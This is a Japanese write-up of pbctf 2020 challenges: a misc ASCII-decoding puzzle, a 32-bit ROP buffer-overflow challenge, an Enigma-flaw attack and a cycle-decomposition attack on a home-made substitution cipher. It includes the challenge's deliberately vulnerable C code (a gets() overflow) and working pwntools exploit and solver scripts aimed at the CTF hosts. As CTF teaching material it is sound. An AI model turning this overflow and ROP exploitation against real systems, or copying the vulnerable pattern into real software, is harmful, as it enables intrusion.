先日開催されたpbctf 2020に./Vespiaryで参加したのでそのWriteupになります。

解けた問題 §

  • [Misc]Not-stego
  • [Pww]Amazing ROP
  • [Crypto]Ainissesthai
  • [Crypto]Queensarah2

[Misc]Not-stego §

x86のあるセクションのディスアセンブルの"画像"をくれる。よく見るとdaaというaddの後に来るはずの命令があるのだが、addが存在してない事から命令列としては不正(というか意味をなさない)と思われる。

更に観察すると構成しているバイトがどれもASCII範囲内っぽいので下記スクリプトで文字にしてみるとpastebinのリンクが現れるのでそこに飛ぶとフラグが書かれている。

if __name__ == '__main__':
    nums = [
        0x48, 0x65, 0x72, 0x65, 0x27, 0x73, 0x20, 0x6d, 0x79, 0x20, 0x6c, 0x69, 0x6e, 0x6b, 0x3a, 0x20, 0x68, 0x74, 0x74, 0x70, 0x73, 0x3a, 0x2f, 0x2f, 0x70, 0x61, 0x73, 0x74, 0x65, 0x62, 0x69, 0x6e, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x6a, 0x36, 0x58, 0x64, 0x39, 0x47, 0x4e, 0x4d, 0x20, 0x20, 0x3c, 0x2d, 0x2d, 0x20, 0x48, 0x65, 0x68, 0x65, 0x68, 0x65, 0x68, 0x65, 0x21, 0x20, 0x53, 0x65, 0x65, 0x20, 0x69, 0x66, 0x20, 0x79, 0x6f, 0x75, 0x20, 0x63, 0x61, 0x6e, 0x20, 0x52, 0x45, 0x20, 0x6d, 0x65
    ]

    print(len(nums))

    dump = ""

    for c in nums:
        dump += chr(c)

    print(dump)

"Here's my link: https://pastebin.com/j6Xd9GNM <-- Hehehehe! See if you can RE me"が現れる

Flag: pbctf{3nc0d1ng_w1th_ass3mbly}

[Pwn]Amazing ROP §

2020年で1番初心者に配慮されているPwn(ROP)。

次のようなソースコードとそれをコンパイルしたバイナリをくれる

#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <strings.h>
#include <unistd.h>

asm("pop %eax; int3; ret");

// Defined in a separate source file for simplicity.
void init_visualize(char* buff);
void visualize(char* buff);
void safeguard();

// This is what you need to do to get the first flag
// void print_flag() {
//   asm volatile("mov $1, %%eax; mov $0x31337, %%edi; mov $0x1337, %%esi; int3" ::: "eax");
// }

int show_color = 0;

int prompt(char *prompt, int def) {
  char buff[32];

  printf("%s", prompt);
  fgets(buff, sizeof(buff), stdin);
  if (buff[0] == 'Y' || buff[0] == 'y')
    return 1;
  else if (buff[0] == 'N' || buff[0] == 'n')
    return 0;
  else
    return def;
}

void vuln() {
  int secret = 0xdeadbeef;
  char padding[16];
  char buff[32];

  show_color = prompt("Do you want color in the visualization? (Y/n) ", 1);

  memset(buff, 0, sizeof(buff)); // Zero-out the buffer.
  memset(padding, 0xFF, sizeof(padding)); // Zero-out the padding.

  // Initializes the stack visualization. Don't worry about it!
  init_visualize(buff); 

  // Prints out the stack before modification
  visualize(buff);

  printf("Input some text: ");

  gets(buff); // This is a vulnerable call!

  // Prints out the stack after modification
  visualize(buff); 

  // Check if secret has changed.
  if (secret == 0x67616c66) {
    puts("You did it! Congratuations!");
    // print_flag(); // Print out the flag. You deserve it. (not anymore)
    printf("Returning to address: %p\n", (&secret)[4]);
    return;
  } else if (secret != 0xdeadbeef) {
    puts("Wow you overflowed the secret value! Now try controlling the value of it!");
  } else {
    puts("Maybe you haven't overflowed enough characters? Try again?");
  }

  exit(0);
}

int main(int argc, char **argv) {
  setbuf(stdout, NULL);
  setbuf(stdin, NULL);
  safeguard();
  vuln();
}

gets()を使っていることから自明なBOFがあり、これでbufの下のpaddingsecretに加えてスタックフレーム以下も書き換える事が出来る。

ご丁寧な事に、現在のスタックの状況を教えてくれ、そこにmain関数に戻る際のアドレスが記載されている事から、PIE有効下にも関わらず、ELFの配置アドレスは判明する。また、退避させたebpもBOFで書き換えてしまうと落ちるのでこれも取得して書き換えないようにする。

というわけで、まずはsecret = 0x67616c66になるようにしてからコメントアウトされているprint_flag()関数内の処理をするようにROPを組む。

asm("pop %eax; int3; ret");が書かれているようにクソ便利なROP Gadgetもあるのでこれを使う。

使用スクリプトは次の通り

from pwn import remote, p32


# connection info
target = "maze.chal.perfect.blue"
port = 1


def create_conn():
    sc = remote(target, port)
    sc.recvuntil(b"(Y/n) ")
    sc.sendline(b"n")

    return sc


def get_gadgets(elf_base):
    gadgets = {}

    gadgets["pop_regs"] = elf_base + 0x1396  # 0x00001396: pop esi ; pop edi ; pop ebp ; ret  ;
    gadgets["pop_eax_int3_ret"] = elf_base + 0x13ad  # 0x000013ad: pop eax ; int3  ; ret  ;

    return gadgets


def recover_addr(nums):
    raw_addr = ""
    for n in reversed(nums):
        raw_addr += n

    return int(raw_addr, 16)


def parse(line):
    hex_str = line[13:-2].split(" ")
    top_half = hex_str[:4]
    bottom_half = hex_str[4:]

    return (recover_addr(top_half), recover_addr(bottom_half))

def get_params(sc):
    raw_stack = (sc.recvuntil("Input")[:-5]).strip().decode().split("\n")
    moved_ebp = parse(raw_stack[7])[1]
    elf_base = parse(raw_stack[8])[0] - 0x1599

    return {
        "ebp": moved_ebp,
        "elf_base": elf_base
    }


def exploit(sc):
    junk = [b"a"*8*6]
    secret = p32(0x67616c66)
    payload = junk[0] + secret + b"a" * 8

    params = get_params(sc)
    elf_base = params["elf_base"]

    rop_gadgets = get_gadgets(elf_base)

    payload += p32(params["ebp"])
    payload += p32(rop_gadgets["pop_regs"])
    payload += p32(0x1337)
    payload += p32(0x31337)
    payload += p32(0xdeadbeef)
    payload += p32(rop_gadgets["pop_eax_int3_ret"])
    payload += p32(1)

    sc.recvuntil("some text: ")
    sc.sendline(payload)


if __name__ == '__main__':
    sc = create_conn()

    exploit(sc)

    sc.interactive()
    sc.close()

Flag: pbctf{hmm_s0mething_l00ks_off_w1th_th1s_s3tup}

[Crypto]Ainissensthai §

配布スクリプトは次の通り

#!/bin/env python3

from string import ascii_uppercase as UC
from random import SystemRandom
from enigma.machine import EnigmaMachine
from secretstuff import FLAG, PLUGBOARD_SETTINGS

assert FLAG.isupper() # Without pbcft{...}
random = SystemRandom()

for _ in range(50):
    ROTORS = [random.choice(("I","II","III","IV","V","VI","VII","VIII")) for _ in range(3)]
    REFLECTOR = random.choice(("B", "C", "B-Thin", "C-Thin"))
    RING_SETTINGS = [random.randrange(26) for _ in range(3)]

    machine = EnigmaMachine.from_key_sheet(
           rotors=ROTORS,
           reflector=REFLECTOR,
           ring_settings=RING_SETTINGS,
           plugboard_settings=PLUGBOARD_SETTINGS)

    machine.set_display(''.join(random.sample(UC, 3)))

    ciphertext = machine.process_text(FLAG)

    print(ciphertext)

プラグボードが固定だが暗号化毎にローター, リフレクター, リング設定が変わるエニグママシンが動いており、フラグを50回暗号化した結果をくれる。

エニグマはどういうわけか平文と同じインデックスに同じ文字が来ないという性質がある(FLAGを暗号化した際、どのようなローター, リフレクター, リング設定, プラグボードを使っても1文字目にFが来る事はないし、他の文字も同様)。

というわけで十分な量の暗号文を手に入れ、各インデックスに出現しない文字を並べればフラグになる。

使用したコードは次の通り

from pwn import remote
from string import ascii_uppercase as UC


# connection info
target = "ainissesthai.chal.perfect.blue"
port = 1


def create_conn():
    return remote(target, port)


def exploit():
    cts = []
    for _ in range(5):
        sc = create_conn()

        for _ in range(50):
            cts.append(sc.recvline().strip().decode())

    length = len(cts[0])

    flag = ""
    for idx in range(length):
        c_set = set()
        for ct in cts:
            c = ct[idx]
            c_set.add(c)

        if len(c_set) < 25:
            print("[+] Please retry...")
            exit()

        for c in UC:
            if c not in c_set:
                flag += c
                break

    return flag


if __name__ == '__main__':
    flag = exploit()
    print(f"pbctf{{{flag}}}")

Flag: pbctf{FATALFLAWINENIGMA}

[Crypto]Queensarah2 §

次のようなスクリプトがサーバー上で動いている。

#!/usr/bin/env python3

from string import ascii_lowercase
from itertools import product
from random import SystemRandom
from math import ceil, log
from secretstuff import FLAG

random = SystemRandom()
ALPHABET = ascii_lowercase + "_"
assert all(char in ALPHABET for char in FLAG)

bigrams = [''.join(bigram) for bigram in product(ALPHABET, repeat=2)]
random.shuffle(bigrams)

S_box = {}
for i in range(len(ALPHABET)):
    for j in range(len(ALPHABET)):
        S_box[ALPHABET[i]+ALPHABET[j]] = bigrams[i*len(ALPHABET) + j]

assert len(set(S_box.keys())) == 27*27

def encrypt(message):
    if len(message) % 2:
        message += "_"

    message = list(message)
    rounds = int(2 * ceil(log(len(message), 2))) # The most secure amount of rounds

    for round in range(rounds):
        # Encrypt
        for i in range(0, len(message), 2):
            message[i:i+2] = S_box[''.join(message[i:i+2])]

        # Shuffle, but not in the final round
        if round < (rounds-1):
            message = [message[i] for i in range(len(message)) if i%2 == 0] + [message[i] for i in range(len(message)) if i%2 == 1]

    return ''.join(message)


if __name__ == "__main__":
    print("This is a restricted service! Decrypt this password to proceed:")
    print({encrypt(FLAG)})

    for _ in range(1500):
        question = input("> ").strip()
        assert 0 < len(question) <= 10000

        if not question:
            print("Bye.")
            break

        elif question == FLAG:
            print(f"You got it. The flag is pbctf{{{FLAG}}}")
            break

        else:
            print("That's not quite right. Your password encrypts to this:")
            print(encrypt(question))


2文字のアルファベット(+_)から別の2文字のアルファベット(+_)への置換がS_boxで定義されている。

各ラウンド毎に

  1. S_boxを用いて2文字ずつ平文を置換する
  2. 最終ラウンドで無ければ偶数インデックスの文字を先頭に、奇数インデックスの文字を後半に配置する並び替えを行う

という操作が行われる単純なSPN構造である。ラウンド数はrounds = int(2 * ceil(log(len(message), 2)))で定義されている通りである。

サーバーに接続するとまずフラグを暗号化したものをくれる。以後、最大1500回の入力を受け付けてフラグの括弧内に一致するものを送ると正解の旨を告知してフラグが表示される。失敗した場合でもその暗号化結果をくれる。

ここで2文字だけの平文を送ると次のような暗号化が発生する(ラウンド数は2)。

round1: ab -(s_box)-> xy -(p_box)-> xy
round2: xy -(s_box)-> cd

2文字ではpermutationが恒等写像になる事を利用すると2文字の平文を入れた際の暗号文はciphertext = s_box[s_box[plaintext]]が成り立つ事になる。とりあえずこれを27*27通り全部取得する(結構時間がかかる)。

ところでこの置換は、置換された結果を更に置換する、というように置換を繰り返していくといずれ自身に戻ってくる。

これは得られた1つ飛ばしの置換規則でも同様なので、巡回する複数の1つ飛ばしに分解しておく。

この巡回する置換規則が上記の1つ飛ばし置換だとどうなるかを要素数の偶奇で分けて考えてみる。

要素数が偶数の場合 §

わかりやすいように置換の要素をアルファベットでは無く添え字で表す。

例えば1 -> 2 -> 3 -> 4 -> 5 -> 6 -> 1のような置換の場合、1つ飛ばしの置換で次の2つが得られる。

1 -> 3 -> 5 -> 1, 2 -> 4 -> 6 -> 2

よって得られた1つ飛ばしの置換規則の内、要素数が同じ2つを組み合わせる事で元の置換規則の候補を列挙する事が出来る。

この例では

  • 1 -> 2 -> 3 -> 4 -> 5 -> 6 -> 1
  • 1 -> 4 -> 3 -> 6 -> 5 -> 2 -> 1
  • 1 -> 6 -> 3 -> 2 -> 5 -> 4 -> 1

の3つの巡回置換規則を候補として得ることが出来る。

要素数が奇数の場合 §

例えば1 -> 2 -> 3 -> 4 -> 5 -> 1という置換の場合、1つ飛ばしの置換で次が得られる。

1 -> 3 -> 5 -> 2 -> 4 -> 1

要素数が奇数の巡回する置換は1つ飛ばしでも自己完結する事がわかる。

したがって得られた1つ飛ばしの置換規則の内、自身と同じ要素数のものが無いものは要素数が奇数の置換規則へ復元する事ができる。

というわけで得られた1つ飛ばしの置換規則を要素数で分類する。同じ要素数のものが無い場合は奇数の置換規則へと復元し、同じ要素数のものが2つである場合は考えられる置換規則を列挙する。但し、3つ以上ある場合は"""面倒なので"""諦めて再接続する(可能性としては5割ぐらい?)。

要素数が偶数の置換規則はあくまで候補しか得られないので最終的にS_boxの候補が複数得られる。事前にある平文と暗号文の対応を得ておき、この候補が正しく復号するかを試す事で正しいS_boxを得る事が出来る。

なお、候補の直積を処理するコードを書くのが面倒だという理由で、要素数が偶数の置換規則が複数得られた場合は再接続している(このせいで成功確率は2割に落ちる事をローカルの検証で確認した)。

こうして正しいS_boxが得られたらそれを用いて最初にくれた暗号文を復号すればフラグの中身が表示され、提出すると正解である旨を知らされる。

使用したスクリプトは次の通り(自作のロガーを使用しています)

from pwn import remote
from string import ascii_lowercase
from math import ceil, log
from xlog import XLog


# connection info
target, port = "queensarah2.chal.perfect.blue", 1

# other global vars (don't change them if you can)
ALPHABET = ascii_lowercase + "_"
logger = XLog("CRYPTO")


def create_conn():
    sc = remote(target, port)
    sc.recvline()
    return sc


def decrypt(ct, sbox):
    l = len(ct)
    rounds = int(2 * ceil(log(l, 2)))

    reversed_sbox = {}
    for k, v in sbox.items():
        reversed_sbox[v] = k

    pt = list(ct)
    for round in range(rounds):
        # recover permutation
        if round > 0:
            pt_c_list = ["?" for _ in range(l)]
            top_half = pt[:l//2]
            bottom_half = pt[l//2:]
            for i, c in enumerate(top_half):
                pt_c_list[i*2] = c
            for i, c in enumerate(bottom_half):
                pt_c_list[i*2 + 1] = c

            assert "?" not in pt_c_list

            for i, c in enumerate(pt_c_list):
                pt[i] = c

        # recover substitution
        for i in range(0, l, 2):
            pt[i:i+2] = reversed_sbox[''.join(pt[i:i+2])]

    return "".join(pt)


def get_next_next_dict(sc):
    ret = {}
    for c_1 in ALPHABET:
        # logger.info(f"attempting: {c_1}")
        for c_2 in ALPHABET:
            c_key = c_1 + c_2
            sc.recvuntil("> ")
            sc.sendline(c_key)
            sc.recvline()
            ret[c_key] = [sc.recvline().strip().decode(), False]

    return ret


def analyze_dict(d):
    groups = []
    for k, v in d.items():
        if v[1]:
            continue
        v[1] = True

        group = [k]
        next_key = v[0]
        while next_key != k:
            d[next_key][1] = True
            group.append(next_key)
            next_key = d[next_key][0]

        groups.append(group)

    return groups


def get_group_by_length(groups):
    group_by_length = {}
    for group in groups:
        length = len(group)
        if length not in group_by_length:
            group_by_length[length] = [group]
        else:
            group_by_length[length].append(group)

    return group_by_length


def get_sbox_from_single_dict(group):
    l = group
    ret = ["?" for _ in range(len(group))]
    for i, c in enumerate(l):
        if i * 2 < len(ret):
            ret[i*2] = c
        else:
            ret[i*2 - len(ret)] = c

    return ret


def marge_dict(l1, l2, offset):
    l = len(l1)
    assert l == len(l2)
    ret = ["?" for _ in range(l * 2)]
    for i, c in enumerate(l1):
        ret[2*i] = c

    for i, c in enumerate(l2):
        idx = 2*(i + offset) + 1
        if idx > l * 2:
            idx -= 2*l
        ret[idx] = c

    assert "?" not in ret

    return ret


def get_sbox_candidates(group):
    l1 = group[0]
    l2 = group[1]

    l = len(l1)
    ret = []

    for offset in range(l):
        ret.append(marge_dict(l1, l2, offset))

    return ret


def convert_to_sbox(groups):
    ret = {}
    for group in groups:
        start = group[0]
        for i, c in enumerate(group):
            if i == len(group) - 1:
                ret[c] = start
            else:
                ret[c] = group[i+1]

    return ret


def create_sbox(group_by_length, two_cnt, test_data):
    d = []
    candidates_list = []
    for v in group_by_length.values():
        if len(v) == 1:
            res = get_sbox_from_single_dict(v[0])
            d.append(res)
        else:
            res = get_sbox_candidates(v)
            candidates_list.append(res)

    sbox = {}
    if two_cnt == 0:
        logger.info("count0")
        sbox = convert_to_sbox(d)
    elif two_cnt == 1:
        logger.info("count1")
        candidates = candidates_list[0]
        for candidate in candidates:
            d.append(candidate)
            sbox = convert_to_sbox(d)
            d.pop()
            if decrypt(test_data[1], sbox) == test_data[0]:
                return sbox
    elif two_cnt == 2:
        logger.info("count2")
        candidates1 = candidates_list[0]
        candidates2 = candidates_list[1]

        for candidate1 in candidates1:
            d.append(candidate1)
            for candidate2 in candidates2:
                d.append(candidate2)
                sbox = convert_to_sbox(d)
                d.pop()
                if decrypt(test_data[1], sbox) == test_data[0]:
                    return sbox
            d.pop()

    if decrypt(test_data[1], sbox) == test_data[0]:
        return sbox

    logger.warning("failed...")
    return None


def exploit():
    sc = create_conn()
    ct = sc.recvline().strip().decode()[2:-2]
    assert len(ct) % 2 == 0
    # logger.info(f"cipher text: {ct}")

    # get test data
    test_pt = "unkounkounkounko"
    sc.recvuntil("> ")
    sc.sendline(test_pt)
    sc.recvline()
    test_data = (test_pt, sc.recvline().strip().decode())

    # exploit
    d = get_next_next_dict(sc)

    groups = analyze_dict(d)

    group_by_length = get_group_by_length(groups)

    two_cnt = 0
    for k, v in group_by_length.items():
        if len(v) > 2:
            logger.warning("not ideal case...")
            return False
        if len(v) == 2:
            two_cnt += 1

    if two_cnt > 2:
        logger.warning("not ideal case...")
        return False

    sbox = create_sbox(group_by_length ,two_cnt, test_data)
    if sbox is None:
        return False

    ans = decrypt(ct, sbox)
    sc.recvuntil("> ")
    sc.sendline(ans)

    res = sc.recvline()
    if b"pbctf" in res:
        logger.info("found!!")
        print(res)
        return True

    return False


if __name__ == '__main__':
    valid_cnt = 0
    while True:
        res = exploit()
        if res:
            break

Flag: pbctf{slide_attack_still_relevant_for_home_rolled_crypto_systems}

直接解いてない問題達 §

直接解いてませんが若干は貢献したと思われる問題の略解を載せておきます。

  • [Crypto]String Cipher
  • [Rev]GGRN

[Crypto]Strong Cipher §

鍵ファイルと平文ファイルを与えると鍵のサイズを調整した後に16バイトずつ暗号化を行う。

暗号化処理が書かれている関数はAVX命令が使われているが途中までは単に平文と鍵を指すポインタとその中身をスタック上に配置したりしてるだけである。

問題は5バイトだけGhidraやradare2で逆アセンブル出来ない命令列C4 E2 79 CF C1がある。手持ちのPC(Kaby Lake)でも動かない事から自己書き換えや壊れたバイナリである事を疑ったが、前者はそういった処理が見られない事から棄却。後者もGueesingが過ぎるので棄却した。

※追記: objdumpだと普通に認識出来ました(出来ないと思ってGhidra, radare2と並べて書いてましたが嘘です(は?))

結局チームメイトがvgf2p8mulbという上の乗算命令である事を突き止めエミュレータで動かしていた。

これはバイト毎処理する為、"鍵長×256"通りの組み合わせを試す。暗号文のサンプルは大量にあるのでこれをブロック(16バイト)毎に区切って、各バイトを取り出し、対応する部分が全て平文に復号されるような鍵を見つければ、そのバイトの鍵は確定する。

[Rev]RRGN §

バイナリを結構解析したがソルバの構築は出来なかった。

簡単に言うと0x32*0x32の入力を要求され、各行と列に対して

<0個以上の0(連続する個数は不明)><1~3までの数字とそれが連続する数>

これが繰り返された情報が与えられる。このソルバを書くのが骨が折れたので投げていたのだがチームメイトが"色付きのnonogramじゃない?"という事に気付き、彼がソルバを見つけてきて解いていた。

感想 §

難しかったですが、面白い問題が多かったです。最近格子や楕円曲線の知識をようやく仕入れたんですが、まだまだこれらの問題には歯が立たず、精進の必要性を痛感しました。

チームメイトの1人が1桁Solvesを数問通していたりと獅子奮迅の活躍だったので、2021年は私も彼に続いて1桁Solvesの問題を通せるよう頑張りたいです。

定型句にはなりますが、このような楽しいCTFを開いてくれたPerfect Blueの皆様、ありがとうございました。

Perfect Blue, Thank you for organizing enjoyable CTF!!